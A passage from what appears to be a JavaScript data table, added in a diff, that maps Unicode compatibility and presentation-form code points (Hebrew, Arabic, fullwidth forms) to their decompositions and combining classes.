64180: [[33775]], 64181: [[34681]], 64182: [[35137]], 64183: [[35206]], 64184: [[35222]], 64185: [[35519]], 64186: [[35576]], 64187: [[35531]], 64188: [[35585]], 64189: [[35582]], 64190: [[35565]], 64191: [[35641]], 64192: [[35722]], 64193: [[36104]], 64194: [[36664]], 64195: [[36978]], 64196: [[37273]], 64197: [[37494]], 64198: [[38524]], 64199: [[38627]], 64200: [[38742]], 64201: [[38875]], 64202: [[38911]], 64203: [[38923]], 64204: [[38971]], 64205: [[39698]], 64206: [[40860]], 64207: [[141386]], 64208: [[141380]], 64209: [[144341]], 64210: [[15261]], 64211: [[16408]], 64212: [[16441]], 64213: [[152137]], 64214: [[154832]], 64215: [[163539]], 64216: [[40771]], 64217: [[40846]], 195072: [[38953]], 195073: [[169398]], 195074: [[39138]], 195075: [[19251]], 195076: [[39209]], 195077: [[39335]], 195078: [[39362]], 195079: [[39422]], 195080: [[19406]], 195081: [[170800]], 195082: [[39698]], 195083: [[40000]], 195084: [[40189]], 195085: [[19662]], 195086: [[19693]], 195087: [[40295]], 195088: [[172238]], 195089: [[19704]], 195090: [[172293]], 195091: [[172558]], 195092: [[172689]], 195093: [[40635]], 195094: [[19798]], 195095: [[40697]], 195096: [[40702]], 195097: [[40709]], 195098: [[40719]], 195099: [[40726]], 195100: [[40763]], 195101: [[173568]] }, + 64256: { 64256: [[102, 102], 256], 64257: [[102, 105], 256], 64258: [[102, 108], 256], 64259: [[102, 102, 105], 256], 64260: [[102, 102, 108], 256], 64261: [[383, 116], 256], 64262: [[115, 116], 256], 64275: [[1396, 1398], 256], 64276: [[1396, 1381], 256], 64277: [[1396, 1387], 256], 64278: [[1406, 1398], 256], 64279: [[1396, 1389], 256], 64285: [[1497, 1460], 512], 64286: [, 26], 64287: [[1522, 1463], 512], 64288: [[1506], 256], 64289: [[1488], 256], 64290: [[1491], 256], 64291: [[1492], 256], 64292: [[1499], 256], 64293: [[1500], 256], 64294: [[1501], 256], 64295: [[1512], 256], 64296: [[1514], 256], 64297: [[43], 256], 64298: [[1513, 1473], 512], 64299: [[1513, 1474], 512], 64300: [[64329, 1473], 512], 64301: [[64329, 1474], 512], 64302: [[1488, 1463], 512], 64303: [[1488, 1464], 512], 64304: [[1488, 1468], 512], 64305: [[1489, 1468], 512], 64306: [[1490, 1468], 512], 64307: [[1491, 1468], 512], 64308: [[1492, 1468], 512], 64309: [[1493, 1468], 512], 64310: [[1494, 1468], 512], 64312: [[1496, 1468], 512], 64313: [[1497, 1468], 512], 64314: [[1498, 1468], 512], 64315: [[1499, 1468], 512], 64316: [[1500, 1468], 512], 64318: [[1502, 1468], 512], 64320: [[1504, 1468], 512], 64321: [[1505, 1468], 512], 64323: [[1507, 1468], 512], 64324: [[1508, 1468], 512], 64326: [[1510, 1468], 512], 64327: [[1511, 1468], 512], 64328: [[1512, 1468], 512], 64329: [[1513, 1468], 512], 64330: [[1514, 1468], 512], 64331: [[1493, 1465], 512], 64332: [[1489, 1471], 512], 64333: [[1499, 1471], 512], 64334: [[1508, 1471], 512], 64335: [[1488, 1500], 256], 64336: [[1649], 256], 64337: [[1649], 256], 64338: [[1659], 256], 64339: [[1659], 256], 64340: [[1659], 256], 64341: [[1659], 256], 64342: [[1662], 256], 64343: [[1662], 256], 64344: [[1662], 256], 64345: [[1662], 256], 64346: [[1664], 256], 64347: [[1664], 256], 64348: [[1664], 256], 64349: [[1664], 256], 64350: [[1658], 256], 64351: [[1658], 256], 64352: [[1658], 256], 64353: [[1658], 256], 64354: [[1663], 256], 64355: [[1663], 256], 64356: [[1663], 256], 64357: [[1663], 256], 64358: [[1657], 256], 64359: [[1657], 256], 64360: [[1657], 256], 64361: [[1657], 256], 64362: [[1700], 256], 64363: [[1700], 256], 64364: [[1700], 256], 64365: [[1700], 256], 64366: [[1702], 256], 64367: [[1702], 256], 64368: [[1702], 256], 64369: [[1702], 256], 64370: [[1668], 256], 64371: [[1668], 256], 64372: [[1668], 256], 64373: [[1668], 256], 64374: [[1667], 256], 64375: [[1667], 256], 64376: [[1667], 256], 64377: [[1667], 256], 64378: [[1670], 256], 64379: [[1670], 256], 64380: [[1670], 256], 64381: [[1670], 256], 64382: [[1671], 256], 64383: [[1671], 256], 64384: [[1671], 256], 64385: [[1671], 256], 64386: [[1677], 256], 64387: [[1677], 256], 64388: [[1676], 256], 64389: [[1676], 256], 64390: [[1678], 256], 64391: [[1678], 256], 64392: [[1672], 256], 64393: [[1672], 256], 64394: [[1688], 256], 64395: [[1688], 256], 64396: [[1681], 256], 64397: [[1681], 256], 64398: [[1705], 256], 64399: [[1705], 256], 64400: [[1705], 256], 64401: [[1705], 256], 64402: [[1711], 256], 64403: [[1711], 256], 64404: [[1711], 256], 64405: [[1711], 256], 64406: [[1715], 256], 64407: [[1715], 256], 64408: [[1715], 256], 64409: [[1715], 256], 64410: [[1713], 256], 64411: [[1713], 256], 64412: [[1713], 256], 64413: [[1713], 256], 64414: [[1722], 256], 64415: [[1722], 256], 64416: [[1723], 256], 64417: [[1723], 256], 64418: [[1723], 256], 64419: [[1723], 256], 64420: [[1728], 256], 64421: [[1728], 256], 64422: [[1729], 256], 64423: [[1729], 256], 64424: [[1729], 256], 64425: [[1729], 256], 64426: [[1726], 256], 64427: [[1726], 256], 64428: [[1726], 256], 64429: [[1726], 256], 64430: [[1746], 256], 64431: [[1746], 256], 64432: [[1747], 256], 64433: [[1747], 256], 64467: [[1709], 256], 64468: [[1709], 256], 64469: [[1709], 256], 64470: [[1709], 256], 64471: [[1735], 256], 64472: [[1735], 256], 64473: [[1734], 256], 64474: [[1734], 256], 64475: [[1736], 256], 64476: [[1736], 256], 64477: [[1655], 256], 64478: [[1739], 256], 64479: [[1739], 256], 64480: [[1733], 256], 64481: [[1733], 256], 64482: [[1737], 256], 64483: [[1737], 256], 64484: [[1744], 256], 64485: [[1744], 256], 64486: [[1744], 256], 64487: [[1744], 256], 64488: [[1609], 256], 64489: [[1609], 256], 64490: [[1574, 1575], 256], 64491: [[1574, 1575], 256], 64492: [[1574, 1749], 256], 64493: [[1574, 1749], 256], 64494: [[1574, 1608], 256], 64495: [[1574, 1608], 256], 64496: [[1574, 1735], 256], 64497: [[1574, 1735], 256], 64498: [[1574, 1734], 256], 64499: [[1574, 1734], 256], 64500: [[1574, 1736], 256], 64501: [[1574, 1736], 256], 64502: [[1574, 1744], 256], 64503: [[1574, 1744], 256], 64504: [[1574, 1744], 256], 64505: [[1574, 1609], 256], 64506: [[1574, 1609], 256], 64507: [[1574, 1609], 256], 64508: [[1740], 256], 64509: [[1740], 256], 64510: [[1740], 256], 64511: [[1740], 256] }, + 64512: { 64512: [[1574, 1580], 256], 64513: [[1574, 1581], 256], 64514: [[1574, 1605], 256], 64515: [[1574, 1609], 256], 64516: [[1574, 1610], 256], 64517: [[1576, 1580], 256], 64518: [[1576, 1581], 256], 64519: [[1576, 1582], 256], 64520: [[1576, 1605], 256], 64521: [[1576, 1609], 256], 64522: [[1576, 1610], 256], 64523: [[1578, 1580], 256], 64524: [[1578, 1581], 256], 64525: [[1578, 1582], 256], 64526: [[1578, 1605], 256], 64527: [[1578, 1609], 256], 64528: [[1578, 1610], 256], 64529: [[1579, 1580], 256], 64530: [[1579, 1605], 256], 64531: [[1579, 1609], 256], 64532: [[1579, 1610], 256], 64533: [[1580, 1581], 256], 64534: [[1580, 1605], 256], 64535: [[1581, 1580], 256], 64536: [[1581, 1605], 256], 64537: [[1582, 1580], 256], 64538: [[1582, 1581], 256], 64539: [[1582, 1605], 256], 64540: [[1587, 1580], 256], 64541: [[1587, 1581], 256], 64542: [[1587, 1582], 256], 64543: [[1587, 1605], 256], 64544: [[1589, 1581], 256], 64545: [[1589, 1605], 256], 64546: [[1590, 1580], 256], 64547: [[1590, 1581], 256], 64548: [[1590, 1582], 256], 64549: [[1590, 1605], 256], 64550: [[1591, 1581], 256], 64551: [[1591, 1605], 256], 64552: [[1592, 1605], 256], 64553: [[1593, 1580], 256], 64554: [[1593, 1605], 256], 64555: [[1594, 1580], 256], 64556: [[1594, 1605], 256], 64557: [[1601, 1580], 256], 64558: [[1601, 1581], 256], 64559: [[1601, 1582], 256], 64560: [[1601, 1605], 256], 64561: [[1601, 1609], 256], 64562: [[1601, 1610], 256], 64563: [[1602, 1581], 256], 64564: [[1602, 1605], 256], 64565: [[1602, 1609], 256], 64566: [[1602, 1610], 256], 64567: [[1603, 1575], 256], 64568: [[1603, 1580], 256], 64569: [[1603, 1581], 256], 64570: [[1603, 1582], 256], 64571: [[1603, 1604], 256], 64572: [[1603, 1605], 256], 64573: [[1603, 1609], 256], 64574: [[1603, 1610], 256], 64575: [[1604, 1580], 256], 64576: [[1604, 1581], 256], 64577: [[1604, 1582], 256], 64578: [[1604, 1605], 256], 64579: [[1604, 1609], 256], 64580: [[1604, 1610], 256], 64581: [[1605, 1580], 256], 64582: [[1605, 1581], 256], 64583: [[1605, 1582], 256], 64584: [[1605, 1605], 256], 64585: [[1605, 1609], 256], 64586: [[1605, 1610], 256], 64587: [[1606, 1580], 256], 64588: [[1606, 1581], 256], 64589: [[1606, 1582], 256], 64590: [[1606, 1605], 256], 64591: [[1606, 1609], 256], 64592: [[1606, 1610], 256], 64593: [[1607, 1580], 256], 64594: [[1607, 1605], 256], 64595: [[1607, 1609], 256], 64596: [[1607, 1610], 256], 64597: [[1610, 1580], 256], 64598: [[1610, 1581], 256], 64599: [[1610, 1582], 256], 64600: [[1610, 1605], 256], 64601: [[1610, 1609], 256], 64602: [[1610, 1610], 256], 64603: [[1584, 1648], 256], 64604: [[1585, 1648], 256], 64605: [[1609, 1648], 256], 64606: [[32, 1612, 1617], 256], 64607: [[32, 1613, 1617], 256], 64608: [[32, 1614, 1617], 256], 64609: [[32, 1615, 1617], 256], 64610: [[32, 1616, 1617], 256], 64611: [[32, 1617, 1648], 256], 64612: [[1574, 1585], 256], 64613: [[1574, 1586], 256], 64614: [[1574, 1605], 256], 64615: [[1574, 1606], 256], 64616: [[1574, 1609], 256], 64617: [[1574, 1610], 256], 64618: [[1576, 1585], 256], 64619: [[1576, 1586], 256], 64620: [[1576, 1605], 256], 64621: [[1576, 1606], 256], 64622: [[1576, 1609], 256], 64623: [[1576, 1610], 256], 64624: [[1578, 1585], 256], 64625: [[1578, 1586], 256], 64626: [[1578, 1605], 256], 64627: [[1578, 1606], 256], 64628: [[1578, 1609], 256], 64629: [[1578, 1610], 256], 64630: [[1579, 1585], 256], 64631: [[1579, 1586], 256], 64632: [[1579, 1605], 256], 64633: [[1579, 1606], 256], 64634: [[1579, 1609], 256], 64635: [[1579, 1610], 256], 64636: [[1601, 1609], 256], 64637: [[1601, 1610], 256], 64638: [[1602, 1609], 256], 64639: [[1602, 1610], 256], 64640: [[1603, 1575], 256], 64641: [[1603, 1604], 256], 64642: [[1603, 1605], 256], 64643: [[1603, 1609], 256], 64644: [[1603, 1610], 256], 64645: [[1604, 1605], 256], 64646: [[1604, 1609], 256], 64647: [[1604, 1610], 256], 64648: [[1605, 1575], 256], 64649: [[1605, 1605], 256], 64650: [[1606, 1585], 256], 64651: [[1606, 1586], 256], 64652: [[1606, 1605], 256], 64653: [[1606, 1606], 256], 64654: [[1606, 1609], 256], 64655: [[1606, 1610], 256], 64656: [[1609, 1648], 256], 64657: [[1610, 1585], 256], 64658: [[1610, 1586], 256], 64659: [[1610, 1605], 256], 64660: [[1610, 1606], 256], 64661: [[1610, 1609], 256], 64662: [[1610, 1610], 256], 64663: [[1574, 1580], 256], 64664: [[1574, 1581], 256], 64665: [[1574, 1582], 256], 64666: [[1574, 1605], 256], 64667: [[1574, 1607], 256], 64668: [[1576, 1580], 256], 64669: [[1576, 1581], 256], 64670: [[1576, 1582], 256], 64671: [[1576, 1605], 256], 64672: [[1576, 1607], 256], 64673: [[1578, 1580], 256], 64674: [[1578, 1581], 256], 64675: [[1578, 1582], 256], 64676: [[1578, 1605], 256], 64677: [[1578, 1607], 256], 64678: [[1579, 1605], 256], 64679: [[1580, 1581], 256], 64680: [[1580, 1605], 256], 64681: [[1581, 1580], 256], 64682: [[1581, 1605], 256], 64683: [[1582, 1580], 256], 64684: [[1582, 1605], 256], 64685: [[1587, 1580], 256], 64686: [[1587, 1581], 256], 64687: [[1587, 1582], 256], 64688: [[1587, 1605], 256], 64689: [[1589, 1581], 256], 64690: [[1589, 1582], 256], 64691: [[1589, 1605], 256], 64692: [[1590, 1580], 256], 64693: [[1590, 1581], 256], 64694: [[1590, 1582], 256], 64695: [[1590, 1605], 256], 64696: [[1591, 1581], 256], 64697: [[1592, 1605], 256], 64698: [[1593, 1580], 256], 64699: [[1593, 1605], 256], 64700: [[1594, 1580], 256], 64701: [[1594, 1605], 256], 64702: [[1601, 1580], 256], 64703: [[1601, 1581], 256], 64704: [[1601, 1582], 256], 64705: [[1601, 1605], 256], 64706: [[1602, 1581], 256], 64707: [[1602, 1605], 256], 64708: [[1603, 1580], 256], 64709: [[1603, 1581], 256], 64710: [[1603, 1582], 256], 64711: [[1603, 1604], 256], 64712: [[1603, 1605], 256], 64713: [[1604, 1580], 256], 64714: [[1604, 1581], 256], 64715: [[1604, 1582], 256], 64716: [[1604, 1605], 256], 64717: [[1604, 1607], 256], 64718: [[1605, 1580], 256], 64719: [[1605, 1581], 256], 64720: [[1605, 1582], 256], 64721: [[1605, 1605], 256], 64722: [[1606, 1580], 256], 64723: [[1606, 1581], 256], 64724: [[1606, 1582], 256], 64725: [[1606, 1605], 256], 64726: [[1606, 1607], 256], 64727: [[1607, 1580], 256], 64728: [[1607, 1605], 256], 64729: [[1607, 1648], 256], 64730: [[1610, 1580], 256], 64731: [[1610, 1581], 256], 64732: [[1610, 1582], 256], 64733: [[1610, 1605], 256], 64734: [[1610, 1607], 256], 64735: [[1574, 1605], 256], 64736: [[1574, 1607], 256], 64737: [[1576, 1605], 256], 64738: [[1576, 1607], 256], 64739: [[1578, 1605], 256], 64740: [[1578, 1607], 256], 64741: [[1579, 1605], 256], 64742: [[1579, 1607], 256], 64743: [[1587, 1605], 256], 64744: [[1587, 1607], 256], 64745: [[1588, 1605], 256], 64746: [[1588, 1607], 256], 64747: [[1603, 1604], 256], 64748: [[1603, 1605], 256], 64749: [[1604, 1605], 256], 64750: [[1606, 1605], 256], 64751: [[1606, 1607], 256], 64752: [[1610, 1605], 256], 64753: [[1610, 1607], 256], 64754: [[1600, 1614, 1617], 256], 64755: [[1600, 1615, 1617], 256], 64756: [[1600, 1616, 1617], 256], 64757: [[1591, 1609], 256], 64758: [[1591, 1610], 256], 64759: [[1593, 1609], 256], 64760: [[1593, 1610], 256], 64761: [[1594, 1609], 256], 64762: [[1594, 1610], 256], 64763: [[1587, 1609], 256], 64764: [[1587, 1610], 256], 64765: [[1588, 1609], 256], 64766: [[1588, 1610], 256], 64767: [[1581, 1609], 256] }, + 64768: { 64768: [[1581, 1610], 256], 64769: [[1580, 1609], 256], 64770: [[1580, 1610], 256], 64771: [[1582, 1609], 256], 64772: [[1582, 1610], 256], 64773: [[1589, 1609], 256], 64774: [[1589, 1610], 256], 64775: [[1590, 1609], 256], 64776: [[1590, 1610], 256], 64777: [[1588, 1580], 256], 64778: [[1588, 1581], 256], 64779: [[1588, 1582], 256], 64780: [[1588, 1605], 256], 64781: [[1588, 1585], 256], 64782: [[1587, 1585], 256], 64783: [[1589, 1585], 256], 64784: [[1590, 1585], 256], 64785: [[1591, 1609], 256], 64786: [[1591, 1610], 256], 64787: [[1593, 1609], 256], 64788: [[1593, 1610], 256], 64789: [[1594, 1609], 256], 64790: [[1594, 1610], 256], 64791: [[1587, 1609], 256], 64792: [[1587, 1610], 256], 64793: [[1588, 1609], 256], 64794: [[1588, 1610], 256], 64795: [[1581, 1609], 256], 64796: [[1581, 1610], 256], 64797: [[1580, 1609], 256], 64798: [[1580, 1610], 256], 64799: [[1582, 1609], 256], 64800: [[1582, 1610], 256], 64801: [[1589, 1609], 256], 64802: [[1589, 1610], 256], 64803: [[1590, 1609], 256], 64804: [[1590, 1610], 256], 64805: [[1588, 1580], 256], 64806: [[1588, 1581], 256], 64807: [[1588, 1582], 256], 64808: [[1588, 1605], 256], 64809: [[1588, 1585], 256], 64810: [[1587, 1585], 256], 64811: [[1589, 1585], 256], 64812: [[1590, 1585], 256], 64813: [[1588, 1580], 256], 64814: [[1588, 1581], 256], 64815: [[1588, 1582], 256], 64816: [[1588, 1605], 256], 64817: [[1587, 1607], 256], 64818: [[1588, 1607], 256], 64819: [[1591, 1605], 256], 64820: [[1587, 1580], 256], 64821: [[1587, 1581], 256], 64822: [[1587, 1582], 256], 64823: [[1588, 1580], 256], 64824: [[1588, 1581], 256], 64825: [[1588, 1582], 256], 64826: [[1591, 1605], 256], 64827: [[1592, 1605], 256], 64828: [[1575, 1611], 256], 64829: [[1575, 1611], 256], 64848: [[1578, 1580, 1605], 256], 64849: [[1578, 1581, 1580], 256], 64850: [[1578, 1581, 1580], 256], 64851: [[1578, 1581, 1605], 256], 64852: [[1578, 1582, 1605], 256], 64853: [[1578, 1605, 1580], 256], 64854: [[1578, 1605, 1581], 256], 64855: [[1578, 1605, 1582], 256], 64856: [[1580, 1605, 1581], 256], 64857: [[1580, 1605, 1581], 256], 64858: [[1581, 1605, 1610], 256], 64859: [[1581, 1605, 1609], 256], 64860: [[1587, 1581, 1580], 256], 64861: [[1587, 1580, 1581], 256], 64862: [[1587, 1580, 1609], 256], 64863: [[1587, 1605, 1581], 256], 64864: [[1587, 1605, 1581], 256], 64865: [[1587, 1605, 1580], 256], 64866: [[1587, 1605, 1605], 256], 64867: [[1587, 1605, 1605], 256], 64868: [[1589, 1581, 1581], 256], 64869: [[1589, 1581, 1581], 256], 64870: [[1589, 1605, 1605], 256], 64871: [[1588, 1581, 1605], 256], 64872: [[1588, 1581, 1605], 256], 64873: [[1588, 1580, 1610], 256], 64874: [[1588, 1605, 1582], 256], 64875: [[1588, 1605, 1582], 256], 64876: [[1588, 1605, 1605], 256], 64877: [[1588, 1605, 1605], 256], 64878: [[1590, 1581, 1609], 256], 64879: [[1590, 1582, 1605], 256], 64880: [[1590, 1582, 1605], 256], 64881: [[1591, 1605, 1581], 256], 64882: [[1591, 1605, 1581], 256], 64883: [[1591, 1605, 1605], 256], 64884: [[1591, 1605, 1610], 256], 64885: [[1593, 1580, 1605], 256], 64886: [[1593, 1605, 1605], 256], 64887: [[1593, 1605, 1605], 256], 64888: [[1593, 1605, 1609], 256], 64889: [[1594, 1605, 1605], 256], 64890: [[1594, 1605, 1610], 256], 64891: [[1594, 1605, 1609], 256], 64892: [[1601, 1582, 1605], 256], 64893: [[1601, 1582, 1605], 256], 64894: [[1602, 1605, 1581], 256], 64895: [[1602, 1605, 1605], 256], 64896: [[1604, 1581, 1605], 256], 64897: [[1604, 1581, 1610], 256], 64898: [[1604, 1581, 1609], 256], 64899: [[1604, 1580, 1580], 256], 64900: [[1604, 1580, 1580], 256], 64901: [[1604, 1582, 1605], 256], 64902: [[1604, 1582, 1605], 256], 64903: [[1604, 1605, 1581], 256], 64904: [[1604, 1605, 1581], 256], 64905: [[1605, 1581, 1580], 256], 64906: [[1605, 1581, 1605], 256], 64907: [[1605, 1581, 1610], 256], 64908: [[1605, 1580, 1581], 256], 64909: [[1605, 1580, 1605], 256], 64910: [[1605, 1582, 1580], 256], 64911: [[1605, 1582, 1605], 256], 64914: [[1605, 1580, 1582], 256], 64915: [[1607, 1605, 1580], 256], 64916: [[1607, 1605, 1605], 256], 64917: [[1606, 1581, 1605], 256], 64918: [[1606, 1581, 1609], 256], 64919: [[1606, 1580, 1605], 256], 64920: [[1606, 1580, 1605], 256], 64921: [[1606, 1580, 1609], 256], 64922: [[1606, 1605, 1610], 256], 64923: [[1606, 1605, 1609], 256], 64924: [[1610, 1605, 1605], 256], 64925: [[1610, 1605, 1605], 256], 64926: [[1576, 1582, 1610], 256], 64927: [[1578, 1580, 1610], 256], 64928: [[1578, 1580, 1609], 256], 64929: [[1578, 1582, 1610], 256], 64930: [[1578, 1582, 1609], 256], 64931: [[1578, 1605, 1610], 256], 64932: [[1578, 1605, 1609], 256], 64933: [[1580, 1605, 1610], 256], 64934: [[1580, 1581, 1609], 256], 64935: [[1580, 1605, 1609], 256], 64936: [[1587, 1582, 1609], 256], 64937: [[1589, 1581, 1610], 256], 64938: [[1588, 1581, 1610], 256], 64939: [[1590, 1581, 1610], 256], 64940: [[1604, 1580, 1610], 256], 64941: [[1604, 1605, 1610], 256], 64942: [[1610, 1581, 1610], 256], 64943: [[1610, 1580, 1610], 256], 64944: [[1610, 1605, 1610], 256], 64945: [[1605, 1605, 1610], 256], 64946: [[1602, 1605, 1610], 256], 64947: [[1606, 1581, 1610], 256], 64948: [[1602, 1605, 1581], 256], 64949: [[1604, 1581, 1605], 256], 64950: [[1593, 1605, 1610], 256], 64951: [[1603, 1605, 1610], 256], 64952: [[1606, 1580, 1581], 256], 64953: [[1605, 1582, 1610], 256], 64954: [[1604, 1580, 1605], 256], 64955: [[1603, 1605, 1605], 256], 64956: [[1604, 1580, 1605], 256], 64957: [[1606, 1580, 1581], 256], 64958: [[1580, 1581, 1610], 256], 64959: [[1581, 1580, 1610], 256], 64960: [[1605, 1580, 1610], 256], 64961: [[1601, 1605, 1610], 256], 64962: [[1576, 1581, 1610], 256], 64963: [[1603, 1605, 1605], 256], 64964: [[1593, 1580, 1605], 256], 64965: [[1589, 1605, 1605], 256], 64966: [[1587, 1582, 1610], 256], 64967: [[1606, 1580, 1610], 256], 65008: [[1589, 1604, 1746], 256], 65009: [[1602, 1604, 1746], 256], 65010: [[1575, 1604, 1604, 1607], 256], 65011: [[1575, 1603, 1576, 1585], 256], 65012: [[1605, 1581, 1605, 1583], 256], 65013: [[1589, 1604, 1593, 1605], 256], 65014: [[1585, 1587, 1608, 1604], 256], 65015: [[1593, 1604, 1610, 1607], 256], 65016: [[1608, 1587, 1604, 1605], 256], 65017: [[1589, 1604, 1609], 256], 65018: [[1589, 1604, 1609, 32, 1575, 1604, 1604, 1607, 32, 1593, 1604, 1610, 1607, 32, 1608, 1587, 1604, 1605], 256], 65019: [[1580, 1604, 32, 1580, 1604, 1575, 1604, 1607], 256], 65020: [[1585, 1740, 1575, 1604], 256] }, + 65024: { 65040: [[44], 256], 65041: [[12289], 256], 65042: [[12290], 256], 65043: [[58], 256], 65044: [[59], 256], 65045: [[33], 256], 65046: [[63], 256], 65047: [[12310], 256], 65048: [[12311], 256], 65049: [[8230], 256], 65056: [, 230], 65057: [, 230], 65058: [, 230], 65059: [, 230], 65060: [, 230], 65061: [, 230], 65062: [, 230], 65063: [, 220], 65064: [, 220], 65065: [, 220], 65066: [, 220], 65067: [, 220], 65068: [, 220], 65069: [, 220], 65072: [[8229], 256], 65073: [[8212], 256], 65074: [[8211], 256], 65075: [[95], 256], 65076: [[95], 256], 65077: [[40], 256], 65078: [[41], 256], 65079: [[123], 256], 65080: [[125], 256], 65081: [[12308], 256], 65082: [[12309], 256], 65083: [[12304], 256], 65084: [[12305], 256], 65085: [[12298], 256], 65086: [[12299], 256], 65087: [[12296], 256], 65088: [[12297], 256], 65089: [[12300], 256], 65090: [[12301], 256], 65091: [[12302], 256], 65092: [[12303], 256], 65095: [[91], 256], 65096: [[93], 256], 65097: [[8254], 256], 65098: [[8254], 256], 65099: [[8254], 256], 65100: [[8254], 256], 65101: [[95], 256], 65102: [[95], 256], 65103: [[95], 256], 65104: [[44], 256], 65105: [[12289], 256], 65106: [[46], 256], 65108: [[59], 256], 65109: [[58], 256], 65110: [[63], 256], 65111: [[33], 256], 65112: [[8212], 256], 65113: [[40], 256], 65114: [[41], 256], 65115: [[123], 256], 65116: [[125], 256], 65117: [[12308], 256], 65118: [[12309], 256], 65119: [[35], 256], 65120: [[38], 256], 65121: [[42], 256], 65122: [[43], 256], 65123: [[45], 256], 65124: [[60], 256], 65125: [[62], 256], 65126: [[61], 256], 65128: [[92], 256], 65129: [[36], 256], 65130: [[37], 256], 65131: [[64], 256], 65136: [[32, 1611], 256], 65137: [[1600, 1611], 256], 65138: [[32, 1612], 256], 65140: [[32, 1613], 256], 65142: [[32, 1614], 256], 65143: [[1600, 1614], 256], 65144: [[32, 1615], 256], 65145: [[1600, 1615], 256], 65146: [[32, 1616], 256], 65147: [[1600, 1616], 256], 65148: [[32, 1617], 256], 65149: [[1600, 1617], 256], 65150: [[32, 1618], 256], 65151: [[1600, 1618], 256], 65152: [[1569], 256], 65153: [[1570], 256], 65154: [[1570], 256], 65155: [[1571], 256], 65156: [[1571], 256], 65157: [[1572], 256], 65158: [[1572], 256], 65159: [[1573], 256], 65160: [[1573], 256], 65161: [[1574], 256], 65162: [[1574], 256], 65163: [[1574], 256], 65164: [[1574], 256], 65165: [[1575], 256], 65166: [[1575], 256], 65167: [[1576], 256], 65168: [[1576], 256], 65169: [[1576], 256], 65170: [[1576], 256], 65171: [[1577], 256], 65172: [[1577], 256], 65173: [[1578], 256], 65174: [[1578], 256], 65175: [[1578], 256], 65176: [[1578], 256], 65177: [[1579], 256], 65178: [[1579], 256], 65179: [[1579], 256], 65180: [[1579], 256], 65181: [[1580], 256], 65182: [[1580], 256], 65183: [[1580], 256], 65184: [[1580], 256], 65185: [[1581], 256], 65186: [[1581], 256], 65187: [[1581], 256], 65188: [[1581], 256], 65189: [[1582], 256], 65190: [[1582], 256], 65191: [[1582], 256], 65192: [[1582], 256], 65193: [[1583], 256], 65194: [[1583], 256], 65195: [[1584], 256], 65196: [[1584], 256], 65197: [[1585], 256], 65198: [[1585], 256], 65199: [[1586], 256], 65200: [[1586], 256], 65201: [[1587], 256], 65202: [[1587], 256], 65203: [[1587], 256], 65204: [[1587], 256], 65205: [[1588], 256], 65206: [[1588], 256], 65207: [[1588], 256], 65208: [[1588], 256], 65209: [[1589], 256], 65210: [[1589], 256], 65211: [[1589], 256], 65212: [[1589], 256], 65213: [[1590], 256], 65214: [[1590], 256], 65215: [[1590], 256], 65216: [[1590], 256], 65217: [[1591], 256], 65218: [[1591], 256], 65219: [[1591], 256], 65220: [[1591], 256], 65221: [[1592], 256], 65222: [[1592], 256], 65223: [[1592], 256], 65224: [[1592], 256], 65225: [[1593], 256], 65226: [[1593], 256], 65227: [[1593], 256], 65228: [[1593], 256], 65229: [[1594], 256], 65230: [[1594], 256], 65231: [[1594], 256], 65232: [[1594], 256], 65233: [[1601], 256], 65234: [[1601], 256], 65235: [[1601], 256], 65236: [[1601], 256], 65237: [[1602], 256], 65238: [[1602], 256], 65239: [[1602], 256], 65240: [[1602], 256], 65241: [[1603], 256], 65242: [[1603], 256], 65243: [[1603], 256], 65244: [[1603], 256], 65245: [[1604], 256], 65246: [[1604], 256], 65247: [[1604], 256], 65248: [[1604], 256], 65249: [[1605], 256], 65250: [[1605], 256], 65251: [[1605], 256], 65252: [[1605], 256], 65253: [[1606], 256], 65254: [[1606], 256], 65255: [[1606], 256], 65256: [[1606], 256], 65257: [[1607], 256], 65258: [[1607], 256], 65259: [[1607], 256], 65260: [[1607], 256], 65261: [[1608], 256], 65262: [[1608], 256], 65263: [[1609], 256], 65264: [[1609], 256], 65265: [[1610], 256], 65266: [[1610], 256], 65267: [[1610], 256], 65268: [[1610], 256], 65269: [[1604, 1570], 256], 65270: [[1604, 1570], 256], 65271: [[1604, 1571], 256], 65272: [[1604, 1571], 256], 65273: [[1604, 1573], 256], 65274: [[1604, 1573], 256], 65275: [[1604, 1575], 256], 65276: [[1604, 1575], 256] }, + 65280: { 65281: [[33], 256], 65282: [[34], 256], 65283: [[35], 256], 65284: [[36], 256], 65285: [[37], 256], 65286: [[38], 256], 65287: [[39], 256], 65288: [[40], 256], 65289: [[41], 256], 65290: [[42], 256], 65291: [[43], 256], 65292: [[44], 256], 65293: [[45], 256], 65294: [[46], 256], 65295: [[47], 256], 65296: [[48], 256], 65297: [[49], 256], 65298: [[50], 256], 65299: [[51], 256], 65300: [[52], 256], 65301: [[53], 256], 65302: [[54], 256], 65303: [[55], 256], 65304: [[56], 256], 65305: [[57], 256], 65306: [[58], 256], 65307: [[59], 256], 65308: [[60], 256], 65309: [[61], 256], 65310: [[62], 256], 65311: [[63], 256], 65312: [[64], 256], 65313: [[65], 256], 65314: [[66], 256], 65315: [[67], 256], 65316: [[68], 256], 65317: [[69], 256], 65318: [[70], 256], 65319: [[71], 256], 65320: [[72], 256], 65321: [[73], 256], 65322: [[74], 256], 65323: [[75], 256], 65324: [[76], 256], 65325: [[77], 256], 65326: [[78], 256], 65327: [[79], 256], 65328: [[80], 256], 65329: [[81], 256], 65330: [[82], 256], 65331: [[83], 256], 65332: [[84], 256], 65333: [[85], 256], 65334: [[86], 256], 65335: [[87], 256], 65336: [[88], 256], 65337: [[89], 256], 65338: [[90], 256], 65339: [[91], 256], 65340: [[92], 256], 65341: [[93], 256], 65342: [[94], 256], 65343: [[95], 256], 65344: [[96], 256], 65345: [[97], 256], 65346: [[98], 256], 65347: [[99], 256], 65348: [[100], 256], 65349: [[101], 256], 65350: [[102], 256], 65351: [[103], 256], 65352: [[104], 256], 65353: [[105], 256], 65354: [[106], 256], 65355: [[107], 256], 65356: [[108], 256], 65357: [[109], 256], 65358: [[110], 256], 65359: [[111], 256], 65360: [[112], 256], 65361: [[113], 256], 65362: [[114], 256], 65363: [[115], 256], 65364: [[116], 256], 65365: [[117], 256], 65366: [[118], 256], 65367: [[119], 256], 65368: [[120], 256], 65369: [[121], 256], 65370: [[122], 256], 65371: [[123], 256], 65372: [[124], 256], 65373: [[125], 256], 65374: [[126], 256], 65375: [[10629], 256], 65376: [[10630], 256], 65377: [[12290], 256], 65378: [[12300], 256], 65379: [[12301], 256], 65380: [[12289], 256], 65381: [[12539], 256], 65382: [[12530], 256], 65383: [[12449], 256], 65384: 